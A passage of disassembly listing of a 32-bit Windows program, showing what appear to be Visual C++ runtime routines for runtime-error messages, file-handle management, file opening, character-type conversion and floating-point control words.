sub_41F4A0+54j mov eax, 0 jmp short loc_41F555 ; --------------------------------------------------------------------------- loc_41F539: ; CODE XREF: sub_41F4A0+36j mov eax, 1 jmp short loc_41F555 ; --------------------------------------------------------------------------- loc_41F540: ; CODE XREF: sub_41F4A0+18j push ebp lea ebp, [ebx+10h] push 0FFFFFFFFh push ebx call sub_417EE2 add esp, 8 pop ebp mov eax, 1 loc_41F555: ; CODE XREF: sub_41F4A0+97j ; sub_41F4A0+9Ej pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_41F4A0 endp ; --------------------------------------------------------------------------- push ebp mov ecx, [esp+8] mov ebp, [ecx] mov eax, [ecx+1Ch] push eax mov eax, [ecx+18h] push eax call sub_417EE2 add esp, 8 pop ebp retn 4 ; =============== S U B R O U T I N E ======================================= sub_41F578 proc near ; CODE XREF: sub_4199DA+9p ; sub_4199FF+9p mov eax, dword_489500 cmp eax, 1 jz short loc_41F58F test eax, eax jnz short locret_41F5B0 cmp dword_438A74, 1 jnz short locret_41F5B0 loc_41F58F: ; CODE XREF: sub_41F578+8j push 0FCh call sub_41F5B1 mov eax, dword_48966C pop ecx test eax, eax jz short loc_41F5A5 call eax loc_41F5A5: ; CODE XREF: sub_41F578+29j push 0FFh call sub_41F5B1 pop ecx locret_41F5B0: ; CODE XREF: sub_41F578+Cj ; sub_41F578+15j retn sub_41F578 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F5B1 proc near ; CODE XREF: sub_4199DA+12p ; sub_4199FF+12p ... var_1A4 = byte ptr -1A4h var_A0 = byte ptr -0A0h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1A4h mov edx, [ebp+arg_0] xor ecx, ecx mov eax, offset dword_43B108 loc_41F5C4: ; CODE XREF: sub_41F5B1+20j cmp edx, [eax] jz short loc_41F5D3 add eax, 8 inc ecx cmp eax, offset off_43B198 jl short loc_41F5C4 loc_41F5D3: ; CODE XREF: sub_41F5B1+15j push esi mov esi, ecx shl esi, 3 cmp edx, dword_43B108[esi] jnz loc_41F701 mov eax, dword_489500 cmp eax, 1 jz loc_41F6DB test eax, eax jnz short loc_41F604 cmp dword_438A74, 1 jz loc_41F6DB loc_41F604: ; CODE XREF: sub_41F5B1+44j cmp edx, 0FCh jz loc_41F701 lea eax, [ebp+var_1A4] push 104h push eax push 0 call dword_423094 ; GetModuleFileNameA test eax, eax jnz short loc_41F63B lea eax, [ebp+var_1A4] push offset aProgramNameUnk ; "<program name unknown>" push eax call sub_4176C0 pop ecx pop ecx loc_41F63B: ; CODE XREF: sub_41F5B1+75j lea eax, [ebp+var_1A4] push edi push eax lea edi, [ebp+var_1A4] call sub_4177B0 inc eax pop ecx cmp eax, 3Ch jbe short loc_41F67E lea eax, [ebp+var_1A4] push eax call sub_4177B0 mov edi, eax lea eax, [ebp+var_1A4] sub eax, 3Bh push 3 add edi, eax push offset a___ ; "..." push edi call sub_418910 add esp, 10h loc_41F67E: ; CODE XREF: sub_41F5B1+A2j lea eax, [ebp+var_A0] push offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: " push eax call sub_4176C0 lea eax, [ebp+var_A0] push edi push eax call sub_4176D0 lea eax, [ebp+var_A0] push offset asc_423BA0 ; "\n\n" push eax call sub_4176D0 push off_43B10C[esi] lea eax, [ebp+var_A0] push eax call sub_4176D0 push 12010h lea eax, [ebp+var_A0] push offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library" push eax call sub_420D8F add esp, 2Ch pop edi jmp short loc_41F701 ; --------------------------------------------------------------------------- loc_41F6DB: ; CODE XREF: sub_41F5B1+3Cj ; sub_41F5B1+4Dj lea eax, [ebp+arg_0] lea esi, off_43B10C[esi] push 0 push eax push dword ptr [esi] call sub_4177B0 pop ecx push eax push dword ptr [esi] push 0FFFFFFF4h call dword_423034 ; GetStdHandle push eax call dword_42307C ; WriteFile loc_41F701: ; CODE XREF: sub_41F5B1+2Ej ; sub_41F5B1+59j ... pop esi leave retn sub_41F5B1 endp ; =============== S U B R O U T I N E ======================================= sub_41F704 proc near ; CODE XREF: sub_419A23+6Cp ; sub_41DF48+32p ... arg_0 = dword ptr 4 inc dword_489670 push 1000h call sub_417889 pop ecx mov ecx, [esp+arg_0] test eax, eax mov [ecx+8], eax jz short loc_41F72D or dword ptr [ecx+0Ch], 8 mov dword ptr [ecx+18h], 1000h jmp short loc_41F73E ; --------------------------------------------------------------------------- loc_41F72D: ; CODE XREF: sub_41F704+1Aj or dword ptr [ecx+0Ch], 4 lea eax, [ecx+14h] mov [ecx+8], eax mov dword ptr [ecx+18h], 2 loc_41F73E: ; CODE XREF: sub_41F704+27j mov eax, [ecx+8] and dword ptr [ecx+4], 0 mov [ecx], eax retn sub_41F704 endp ; =============== S U B R O U T I N E ======================================= sub_41F748 proc near ; CODE XREF: sub_419A23+61p ; sub_41A5A2+8p arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, dword_48A8E0 jb short loc_41F757 xor eax, eax retn ; --------------------------------------------------------------------------- loc_41F757: ; CODE XREF: sub_41F748+Aj mov ecx, eax and eax, 1Fh sar ecx, 5 mov ecx, dword_48A7E0[ecx*4] mov al, [ecx+eax*8+4] and eax, 40h retn sub_41F748 endp ; =============== S U B R O U T I N E ======================================= sub_41F76E proc near ; DATA XREF: .data:00425020o mov eax, dword_48A7C0 push esi push 14h test eax, eax pop esi jnz short loc_41F782 mov eax, 200h jmp short loc_41F788 ; --------------------------------------------------------------------------- loc_41F782: ; CODE XREF: sub_41F76E+Bj cmp eax, esi jge short loc_41F78D mov eax, esi loc_41F788: ; CODE XREF: sub_41F76E+12j mov dword_48A7C0, eax loc_41F78D: ; CODE XREF: sub_41F76E+16j push 4 push eax call sub_420E18 pop ecx mov dword_4897A8, eax test eax, eax pop ecx jnz short loc_41F7C1 push 4 push esi mov dword_48A7C0, esi call sub_420E18 pop ecx mov dword_4897A8, eax test eax, eax pop ecx jnz short loc_41F7C1 push 1Ah call sub_4199DA pop ecx loc_41F7C1: ; CODE XREF: sub_41F76E+30j ; sub_41F76E+49j xor ecx, ecx mov eax, offset off_43B198 loc_41F7C8: ; CODE XREF: sub_41F76E+6Ej mov edx, dword_4897A8 mov [ecx+edx], eax add eax, 20h add ecx, 4 cmp eax, offset dword_43B418 jl short loc_41F7C8 xor edx, edx mov ecx, offset dword_43B1A8 loc_41F7E5: ; CODE XREF: sub_41F76E+A1j mov eax, edx mov esi, edx sar eax, 5 and esi, 1Fh mov eax, dword_48A7E0[eax*4] mov eax, [eax+esi*8] cmp eax, 0FFFFFFFFh jz short loc_41F802 test eax, eax jnz short loc_41F805 loc_41F802: ; CODE XREF: sub_41F76E+8Ej or dword ptr [ecx], 0FFFFFFFFh loc_41F805: ; CODE XREF: sub_41F76E+92j add ecx, 20h inc edx cmp ecx, offset dword_43B208 jl short loc_41F7E5 pop esi retn sub_41F76E endp ; =============== S U B R O U T I N E ======================================= sub_41F813 proc near ; DATA XREF: .data:00425030o ; FUNCTION CHUNK AT 00420EC9 SIZE 00000058 BYTES call sub_41A52C cmp byte_4894EC, 0 jz short locret_41F826 jmp loc_420EC9 ; --------------------------------------------------------------------------- locret_41F826: ; CODE XREF: sub_41F813+Cj retn sub_41F813 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F827 proc near ; CODE XREF: sub_419B38+2D4p ; sub_419B38+6B3p arg_0 = dword ptr 8 arg_4 = word ptr 0Ch push ebp mov ebp, esp mov eax, [ebp+arg_0] test eax, eax jnz short loc_41F833 pop ebp retn ; --------------------------------------------------------------------------- loc_41F833: ; CODE XREF: sub_41F827+8j cmp dword_489540, 0 jnz short loc_41F84E mov cx, [ebp+arg_4] cmp cx, 0FFh ja short loc_41F880 push 1 mov [eax], cl pop eax pop ebp retn ; --------------------------------------------------------------------------- loc_41F84E: ; CODE XREF: sub_41F827+13j lea ecx, [ebp+arg_0] and [ebp+arg_0], 0 push ecx push 0 push dword_438C8C push eax lea eax, [ebp+arg_4] push 1 push eax push 220h push dword_489550 call dword_423150 ; WideCharToMultiByte test eax, eax jz short loc_41F880 cmp [ebp+arg_0], 0 jz short loc_41F88D loc_41F880: ; CODE XREF: sub_41F827+1Ej ; sub_41F827+51j mov dword_4894AC, 2Ah or eax, 0FFFFFFFFh loc_41F88D: ; CODE XREF: sub_41F827+57j pop ebp retn sub_41F827 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F88F proc near ; CODE XREF: sub_41A342+5Ep ; sub_41E897+9Ap var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_423BE0 push offset sub_41F4A0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push ebx push esi push edi mov [ebp+var_18], esp mov eax, dword_489674 xor ebx, ebx cmp eax, ebx jnz short loc_41F8FE lea eax, [ebp+var_1C] push eax push 1 pop esi push esi push offset dword_4238D0 push esi call dword_423028 ; GetStringTypeW test eax, eax jz short loc_41F8DC mov eax, esi jmp short loc_41F8F9 ; --------------------------------------------------------------------------- loc_41F8DC: ; CODE XREF: sub_41F88F+47j lea eax, [ebp+var_1C] push eax push esi push offset dword_43BCF8 push esi push ebx call dword_42302C ; GetStringTypeA test eax, eax jz loc_41F9C4 push 2 pop eax loc_41F8F9: ; CODE XREF: sub_41F88F+4Bj mov dword_489674, eax loc_41F8FE: ; CODE XREF: sub_41F88F+2Fj cmp eax, 2 jnz short loc_41F927 mov eax, [ebp+arg_14] cmp eax, ebx jnz short loc_41F90F mov eax, dword_489540 loc_41F90F: ; CODE XREF: sub_41F88F+79j push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] push eax call dword_42302C ; GetStringTypeA jmp loc_41F9C6 ; --------------------------------------------------------------------------- loc_41F927: ; CODE XREF: sub_41F88F+72j cmp eax, 1 jnz loc_41F9C4 cmp [ebp+arg_10], ebx jnz short loc_41F93D mov eax, dword_489550 mov [ebp+arg_10], eax loc_41F93D: ; CODE XREF: sub_41F88F+A4j push ebx push ebx push [ebp+arg_8] push [ebp+arg_4] mov eax, [ebp+arg_18] neg eax sbb eax, eax and eax, 8 inc eax push eax push [ebp+arg_10] call dword_423070 ; MultiByteToWideChar mov [ebp+var_20], eax cmp eax, ebx jz short loc_41F9C4 mov [ebp+var_4], ebx lea edi, [eax+eax] mov eax, edi add eax, 3 and al, 0FCh call sub_417830 mov [ebp+var_18], esp mov esi, esp mov [ebp+var_24], esi push edi push ebx push esi call sub_417030 add esp, 0Ch jmp short loc_41F993 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor ebx, ebx xor esi, esi loc_41F993: ; CODE XREF: sub_41F88F+F7j or [ebp+var_4], 0FFFFFFFFh cmp esi, ebx jz short loc_41F9C4 push [ebp+var_20] push esi push [ebp+arg_8] push [ebp+arg_4] push 1 push [ebp+arg_10] call dword_423070 ; MultiByteToWideChar cmp eax, ebx jz short loc_41F9C4 push [ebp+arg_C] push eax push esi push [ebp+arg_0] call dword_423028 ; GetStringTypeW jmp short loc_41F9C6 ; --------------------------------------------------------------------------- loc_41F9C4: ; CODE XREF: sub_41F88F+61j ; sub_41F88F+9Bj ... xor eax, eax loc_41F9C6: ; CODE XREF: sub_41F88F+93j ; sub_41F88F+133j lea esp, [ebp-34h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_41F88F endp ; =============== S U B R O U T I N E ======================================= sub_41F9D8 proc near ; CODE XREF: sub_41FBF2:loc_41FD6Ap push ebx push esi push edi or ebx, 0FFFFFFFFh xor edi, edi xor esi, esi mov ecx, offset dword_48A7E0 loc_41F9E7: ; CODE XREF: sub_41F9D8+48j mov eax, [ecx] test eax, eax jz short loc_41FA24 lea edx, [eax+100h] loc_41F9F3: ; CODE XREF: sub_41F9D8+28j cmp eax, edx jnb short loc_41FA13 test byte ptr [eax+4], 1 jz short loc_41FA02 add eax, 8 jmp short loc_41F9F3 ; --------------------------------------------------------------------------- loc_41FA02: ; CODE XREF: sub_41F9D8+23j or dword ptr [eax], 0FFFFFFFFh sub eax, [ecx] sar eax, 3 add eax, esi mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_41FA67 loc_41FA13: ; CODE XREF: sub_41F9D8+1Dj add ecx, 4 inc edi add esi, 20h cmp ecx, offset dword_48A8E0 jl short loc_41F9E7 jmp short loc_41FA67 ; --------------------------------------------------------------------------- loc_41FA24: ; CODE XREF: sub_41F9D8+13j mov esi, 100h push esi call sub_417889 test eax, eax pop ecx jz short loc_41FA67 add dword_48A8E0, 20h lea ecx, ds:48A7E0h[edi*4] lea edx, [eax+100h] mov [ecx], eax loc_41FA4A: ; CODE XREF: sub_41F9D8+88j cmp eax, edx jnb short loc_41FA62 and byte ptr [eax+4], 0 or dword ptr [eax], 0FFFFFFFFh mov byte ptr [eax+5], 0Ah mov edx, [ecx] add eax, 8 add edx, esi jmp short loc_41FA4A ; --------------------------------------------------------------------------- loc_41FA62: ; CODE XREF: sub_41F9D8+74j shl edi, 5 mov ebx, edi loc_41FA67: ; CODE XREF: sub_41F9D8+39j ; sub_41F9D8+4Aj ... pop edi mov eax, ebx pop esi pop ebx retn sub_41F9D8 endp ; =============== S U B R O U T I N E ======================================= sub_41FA6D proc near ; CODE XREF: sub_41FBF2+1F4p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi cmp eax, dword_48A8E0 push edi jnb short loc_41FACD mov ecx, eax mov esi, eax sar ecx, 5 and esi, 1Fh lea edi, ds:48A7E0h[ecx*4] shl esi, 3 mov ecx, [edi] cmp dword ptr [ecx+esi], 0FFFFFFFFh jnz short loc_41FACD cmp dword_438A74, 1 push ebx mov ebx, [esp+0Ch+arg_4] jnz short loc_41FAC3 sub eax, 0 jz short loc_41FABA dec eax jz short loc_41FAB5 dec eax jnz short loc_41FAC3 push ebx push 0FFFFFFF4h jmp short loc_41FABD ; --------------------------------------------------------------------------- loc_41FAB5: ; CODE XREF: sub_41FA6D+3Ej push ebx push 0FFFFFFF5h jmp short loc_41FABD ; --------------------------------------------------------------------------- loc_41FABA: ; CODE XREF: sub_41FA6D+3Bj push ebx push 0FFFFFFF6h loc_41FABD: ; CODE XREF: sub_41FA6D+46j ; sub_41FA6D+4Bj call dword_423024 ; SetStdHandle loc_41FAC3: ; CODE XREF: sub_41FA6D+36j ; sub_41FA6D+41j mov eax, [edi] mov [eax+esi], ebx xor eax, eax pop ebx jmp short loc_41FAE1 ; --------------------------------------------------------------------------- loc_41FACD: ; CODE XREF: sub_41FA6D+Cj ; sub_41FA6D+28j and dword_4894B0, 0 mov dword_4894AC, 9 or eax, 0FFFFFFFFh loc_41FAE1: ; CODE XREF: sub_41FA6D+5Ej pop edi pop esi retn sub_41FA6D endp ; =============== S U B R O U T I N E ======================================= sub_41FAE4 proc near ; CODE XREF: sub_41A3B7+7Cp arg_0 = dword ptr 4 mov ecx, [esp+arg_0] push esi cmp ecx, dword_48A8E0 push edi jnb short loc_41FB47 mov eax, ecx mov esi, ecx sar eax, 5 and esi, 1Fh lea edi, ds:48A7E0h[eax*4] shl esi, 3 mov eax, [edi] add eax, esi test byte ptr [eax+4], 1 jz short loc_41FB47 cmp dword ptr [eax], 0FFFFFFFFh jz short loc_41FB47 cmp dword_438A74, 1 jnz short loc_41FB3D xor eax, eax sub ecx, eax jz short loc_41FB34 dec ecx jz short loc_41FB2F dec ecx jnz short loc_41FB3D push eax push 0FFFFFFF4h jmp short loc_41FB37 ; --------------------------------------------------------------------------- loc_41FB2F: ; CODE XREF: sub_41FAE4+41j push eax push 0FFFFFFF5h jmp short loc_41FB37 ; --------------------------------------------------------------------------- loc_41FB34: ; CODE XREF: sub_41FAE4+3Ej push eax push 0FFFFFFF6h loc_41FB37: ; CODE XREF: sub_41FAE4+49j ; sub_41FAE4+4Ej call dword_423024 ; SetStdHandle loc_41FB3D: ; CODE XREF: sub_41FAE4+38j ; sub_41FAE4+44j mov eax, [edi] or dword ptr [eax+esi], 0FFFFFFFFh xor eax, eax jmp short loc_41FB5B ; --------------------------------------------------------------------------- loc_41FB47: ; CODE XREF: sub_41FAE4+Cj ; sub_41FAE4+2Aj ... and dword_4894B0, 0 mov dword_4894AC, 9 or eax, 0FFFFFFFFh loc_41FB5B: ; CODE XREF: sub_41FAE4+61j pop edi pop esi retn sub_41FAE4 endp ; =============== S U B R O U T I N E ======================================= sub_41FB5E proc near ; CODE XREF: sub_41A3B7+32p ; sub_41A3B7+49p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, dword_48A8E0 jnb short loc_41FB86 mov ecx, eax and eax, 1Fh sar ecx, 5 mov ecx, dword_48A7E0[ecx*4] test byte ptr [ecx+eax*8+4], 1 lea eax, [ecx+eax*8] jz short loc_41FB86 mov eax, [eax] retn ; --------------------------------------------------------------------------- loc_41FB86: ; CODE XREF: sub_41FB5E+Aj ; sub_41FB5E+23j and dword_4894B0, 0 mov dword_4894AC, 9 or eax, 0FFFFFFFFh retn sub_41FB5E endp ; =============== S U B R O U T I N E ======================================= sub_41FB9B proc near ; CODE XREF: sub_41A495+2Bp arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, dword_48A8E0 jnb short loc_41FBE4 mov ecx, eax mov edx, eax sar ecx, 5 and edx, 1Fh mov ecx, dword_48A7E0[ecx*4] test byte ptr [ecx+edx*8+4], 1 jz short loc_41FBE4 push eax call sub_41FB5E pop ecx push eax call dword_423020 ; FlushFileBuffers test eax, eax jnz short loc_41FBD9 call dword_42308C ; RtlGetLastWin32Error jmp short loc_41FBDB ; --------------------------------------------------------------------------- loc_41FBD9: ; CODE XREF: sub_41FB9B+34j xor eax, eax loc_41FBDB: ; CODE XREF: sub_41FB9B+3Cj test eax, eax jz short locret_41FBF1 mov dword_4894B0, eax loc_41FBE4: ; CODE XREF: sub_41FB9B+Aj ; sub_41FB9B+22j mov dword_4894AC, 9 or eax, 0FFFFFFFFh locret_41FBF1: ; CODE XREF: sub_41FB9B+42j retn sub_41FB9B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41FBF2 proc near ; CODE XREF: sub_41A66C+13Fp var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 1Ch mov ecx, [ebp+arg_4] push ebx xor ebx, ebx push esi test cl, 80h push edi mov [ebp+var_1C], 0Ch mov [ebp+var_18], ebx jz short loc_41FC18 mov [ebp+var_14], ebx mov [ebp+var_1], 10h jmp short loc_41FC23 ; --------------------------------------------------------------------------- loc_41FC18: ; CODE XREF: sub_41FBF2+1Bj and [ebp+var_1], 0 mov [ebp+var_14], 1 loc_41FC23: ; CODE XREF: sub_41FBF2+24j mov eax, 8000h test ecx, eax jnz short loc_41FC3D test ch, 40h jnz short loc_41FC39 cmp dword_489780, eax jz short loc_41FC3D loc_41FC39: ; CODE XREF: sub_41FBF2+3Dj or [ebp+var_1], 80h loc_41FC3D: ; CODE XREF: sub_41FBF2+38j ; sub_41FBF2+45j push 3 mov eax, ecx pop esi and eax, esi sub eax, ebx jz short loc_41FC75 dec eax jz short loc_41FC6C dec eax jz short loc_41FC63 loc_41FC4E: ; CODE XREF: sub_41FBF2+9Fj ; sub_41FBF2+E8j ... mov dword_4894AC, 16h mov dword_4894B0, ebx jmp loc_41FE88 ; --------------------------------------------------------------------------- loc_41FC63: ; CODE XREF: sub_41FBF2+5Aj mov [ebp+var_C], 0C0000000h jmp short loc_41FC7C ; --------------------------------------------------------------------------- loc_41FC6C: ; CODE XREF: sub_41FBF2+57j mov [ebp+var_C], 40000000h jmp short loc_41FC7C ; --------------------------------------------------------------------------- loc_41FC75: ; CODE XREF: sub_41FBF2+54j mov [ebp+var_C], 80000000h loc_41FC7C: ; CODE XREF: sub_41FBF2+78j ; sub_41FBF2+81j mov eax, [ebp+arg_8] cmp eax, 10h jz short loc_41FCAA cmp eax, 20h jz short loc_41FCA1 cmp eax, 30h jz short loc_41FC98 cmp eax, 40h jnz short loc_41FC4E mov [ebp+var_10], esi jmp short loc_41FCAD ; --------------------------------------------------------------------------- loc_41FC98: ; CODE XREF: sub_41FBF2+9Aj mov [ebp+var_10], 2 jmp short loc_41FCAD ; --------------------------------------------------------------------------- loc_41FCA1: ; CODE XREF: sub_41FBF2+95j mov [ebp+var_10], 1 jmp short loc_41FCAD ; --------------------------------------------------------------------------- loc_41FCAA: ; CODE XREF: sub_41FBF2+90j mov [ebp+var_10], ebx loc_41FCAD: ; CODE XREF: sub_41FBF2+A4j ; sub_41FBF2+ADj ... mov edx, 700h mov eax, 400h and ecx, edx mov edi, 100h cmp ecx, eax jg short loc_41FCF7 jz short loc_41FCF2 cmp ecx, ebx jz short loc_41FCF2 cmp ecx, edi jz short loc_41FCE9 cmp ecx, 200h jz short loc_41FD10 cmp ecx, 300h jnz loc_41FC4E mov [ebp+var_8], 2 jmp short loc_41FD20 ; --------------------------------------------------------------------------- loc_41FCE9: ; CODE XREF: sub_41FBF2+D8j mov [ebp+var_8], 4 jmp short loc_41FD20 ; --------------------------------------------------------------------------- loc_41FCF2: ; CODE XREF: sub_41FBF2+D0j ; sub_41FBF2+D4j mov [ebp+var_8], esi jmp short loc_41FD20 ; --------------------------------------------------------------------------- loc_41FCF7: ; CODE XREF: sub_41FBF2+CEj cmp ecx, 500h jz short loc_41FD19 cmp ecx, 600h jz short loc_41FD10 cmp ecx, edx jz short loc_41FD19 jmp loc_41FC4E ; --------------------------------------------------------------------------- loc_41FD10: ; CODE XREF: sub_41FBF2+E0j ; sub_41FBF2+113j mov [ebp+var_8], 5 jmp short loc_41FD20 ; --------------------------------------------------------------------------- loc_41FD19: ; CODE XREF: sub_41FBF2+10Bj ; sub_41FBF2+117j mov [ebp+var_8], 1 loc_41FD20: ; CODE XREF: sub_41FBF2+F5j ; sub_41FBF2+FEj ... mov eax, [ebp+arg_4] mov esi, 80h test eax, edi jz short loc_41FD3F mov ecx, dword_4894B4 not ecx and ecx, [ebp+arg_C] test cl, 80h jnz short loc_41FD3F push 1 pop esi loc_41FD3F: ; CODE XREF: sub_41FBF2+138j ; sub_41FBF2+148j test al, 40h jz short loc_41FD4D or esi, 4000000h or byte ptr [ebp+var_C+2], 1 loc_41FD4D: ; CODE XREF: sub_41FBF2+14Fj test ah, 10h jz short loc_41FD54 or esi, edi loc_41FD54: ; CODE XREF: sub_41FBF2+15Ej test al, 20h jz short loc_41FD60 or esi, 8000000h jmp short loc_41FD6A ; --------------------------------------------------------------------------- loc_41FD60: ; CODE XREF: sub_41FBF2+164j test al, 10h jz short loc_41FD6A or esi, 10000000h loc_41FD6A: ; CODE XREF: sub_41FBF2+16Cj ; sub_41FBF2+170j call sub_41F9D8 mov ebx, eax or edi, 0FFFFFFFFh cmp ebx, edi jnz short loc_41FD8B and dword_4894B0, 0 mov dword_4894AC, 18h jmp short loc_41FDC9 ; --------------------------------------------------------------------------- loc_41FD8B: ; CODE XREF: sub_41FBF2+184j push 0 push esi push [ebp+var_8] lea eax, [ebp+var_1C] push eax push [ebp+var_10] push [ebp+var_C] push [ebp+arg_0] call dword_423084 ; CreateFileA mov esi, eax cmp esi, edi jz short loc_41FDBC push esi call dword_423030 ; GetFileType test eax, eax jnz short loc_41FDD0 push esi call dword_423078 ; CloseHandle loc_41FDBC: ; CODE XREF: sub_41FBF2+1B6j call dword_42308C ; RtlGetLastWin32Error push eax call sub_41EC6F pop ecx loc_41FDC9: ; CODE XREF: sub_41FBF2+197j mov eax, edi jmp loc_41FEA6 ; --------------------------------------------------------------------------- loc_41FDD0: ; CODE XREF: sub_41FBF2+1C1j cmp eax, 2 jnz short loc_41FDDB or [ebp+var_1], 40h jmp short loc_41FDE4 ; --------------------------------------------------------------------------- loc_41FDDB: ; CODE XREF: sub_41FBF2+1E1j cmp eax, 3 jnz short loc_41FDE4 or [ebp+var_1], 8 loc_41FDE4: ; CODE XREF: sub_41FBF2+1E7j ; sub_41FBF2+1ECj push esi push ebx call sub_41FA6D pop ecx mov al, [ebp+var_1] pop ecx mov esi, ebx mov ecx, ebx or al, 1 sar ecx, 5 and esi, 1Fh mov byte ptr [ebp+arg_0+3], al lea edi, ds:48A7E0h[ecx*4] shl esi, 3 mov ecx, [edi] and byte ptr [ebp+arg_0+3], 48h mov [ecx+esi+4], al jnz short loc_41FE8D test al, 80h jz short loc_41FE8D test byte ptr [ebp+arg_4], 2 jz short loc_41FE8D push 2 push 0FFFFFFFFh push ebx call sub_41E217 add esp, 0Ch cmp eax, 0FFFFFFFFh mov [ebp+var_10], eax jnz short loc_41FE42 cmp dword_4894B0, 83h jz short loc_41FE8D jmp short loc_41FE81 ; --------------------------------------------------------------------------- loc_41FE42: ; CODE XREF: sub_41FBF2+240j and byte ptr [ebp+arg_8+3], 0 lea eax, [ebp+arg_8+3] push 1 push eax push ebx call sub_41E021 add esp, 0Ch test eax, eax jnz short loc_41FE6F cmp byte ptr [ebp+arg_8+3], 1Ah jnz short loc_41FE6F push [ebp+var_10] push ebx call sub_420F21 pop ecx cmp eax, 0FFFFFFFFh pop ecx jz short loc_41FE81 loc_41FE6F: ; CODE XREF: sub_41FBF2+265j ; sub_41FBF2+26Bj push 0 push 0 push ebx call sub_41E217 add esp, 0Ch cmp eax, 0FFFFFFFFh jnz short loc_41FE8D loc_41FE81: ; CODE XREF: sub_41FBF2+24Ej ; sub_41FBF2+27Bj push ebx call sub_41A3B7 pop ecx loc_41FE88: ; CODE XREF: sub_41FBF2+6Cj or eax, 0FFFFFFFFh jmp short loc_41FEA6 ; --------------------------------------------------------------------------- loc_41FE8D: ; CODE XREF: sub_41FBF2+221j ; sub_41FBF2+225j ... cmp byte ptr [ebp+arg_0+3], 0 jnz short loc_41FEA4 test byte ptr [ebp+arg_4], 8 jz short loc_41FEA4 mov eax, [edi] or byte ptr [eax+esi+4], 20h lea eax, [eax+esi+4] loc_41FEA4: ; CODE XREF: sub_41FBF2+29Fj ; sub_41FBF2+2A5j mov eax, ebx loc_41FEA6: ; CODE XREF: sub_41FBF2+1D9j ; sub_41FBF2+299j pop edi pop esi pop ebx leave retn sub_41FBF2 endp ; =============== S U B R O U T I N E ======================================= sub_41FEAB proc near ; CODE XREF: sub_41C20A+52p xor eax, eax retn sub_41FEAB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41FEAE proc near ; CODE XREF: sub_41FEE3+Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push esi fstcw word ptr [ebp+var_4] push [ebp+var_4] call sub_41FEF9 mov esi, eax mov eax, [ebp+arg_4] not eax and esi, eax mov eax, [ebp+arg_0] and eax, [ebp+arg_4] or esi, eax push esi call sub_41FF8B pop ecx mov [ebp+arg_4], eax pop ecx fldcw word ptr [ebp+arg_4] mov eax, esi pop esi leave retn sub_41FEAE endp ; =============== S U B R O U T I N E ======================================= sub_41FEE3 proc near ; CODE XREF: sub_41C4F6+Ap arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] and eax, 0FFF7FFFFh push eax push [esp+4+arg_0] call sub_41FEAE pop ecx pop ecx retn sub_41FEE3 endp ; =============== S U B R O U T I N E ======================================= sub_41FEF9 proc near ; CODE XREF: sub_41FEAE+Cp arg_0 = dword ptr 4 push ebx mov ebx, [esp+4+arg_0] xor eax, eax push ebp test bl, 1 push edi jz short loc_41FF0A push 10h pop eax loc_41FF0A: ; CODE XREF: sub_41FEF9+Cj test bl, 4 jz short loc_41FF11 or al, 8 loc_41FF11: ; CODE XREF: sub_41FEF9+14j test bl, 8 jz short loc_41FF18 or al, 4 loc_41FF18: ; CODE XREF: sub_41FEF9+1Bj test bl, 10h jz short loc_41FF1F or al, 2 loc_41FF1F: ; CODE XREF: sub_41FEF9+22j test bl, 20h jz short loc_41FF26 or al, 1 loc_41FF26: ; CODE XREF: sub_41FEF9+29j test bl, 2 jz short loc_41FF30 or eax, 80000h loc_41FF30: ; CODE XREF: sub_41FEF9+30j movzx ecx, bx push esi mov edx, ecx mov esi, 0C00h mov edi, 300h and edx, esi mov ebp, 200h jz short loc_41FF68 cmp edx, 400h jz short loc_41FF65 cmp edx, 800h jz short loc_41FF61 cmp edx, esi jnz short loc_41FF68 or eax, edi jmp short loc_41FF68 ; --------------------------------------------------------------------------- loc_41FF61: ; CODE XREF: sub_41FEF9+5Ej or eax, ebp jmp short loc_41FF68 ; --------------------------------------------------------------------------- loc_41FF65: ; CODE XREF: sub_41FEF9+56j or ah, 1 loc_41FF68: ; CODE XREF: sub_41FEF9+4Ej ; sub_41FEF9+62j ... and ecx, edi pop esi jz short loc_41FF78 cmp ecx, ebp jnz short loc_41FF7D or eax, 10000h jmp short loc_41FF7D ; --------------------------------------------------------------------------- loc_41FF78: ; CODE XREF: sub_41FEF9+72j or eax, 20000h loc_41FF7D: ; CODE XREF: sub_41FEF9+76j ; sub_41FEF9+7Dj pop edi pop ebp test bh, 10h pop ebx jz short locret_41FF8A or eax, 40000h locret_41FF8A: ; CODE XREF: 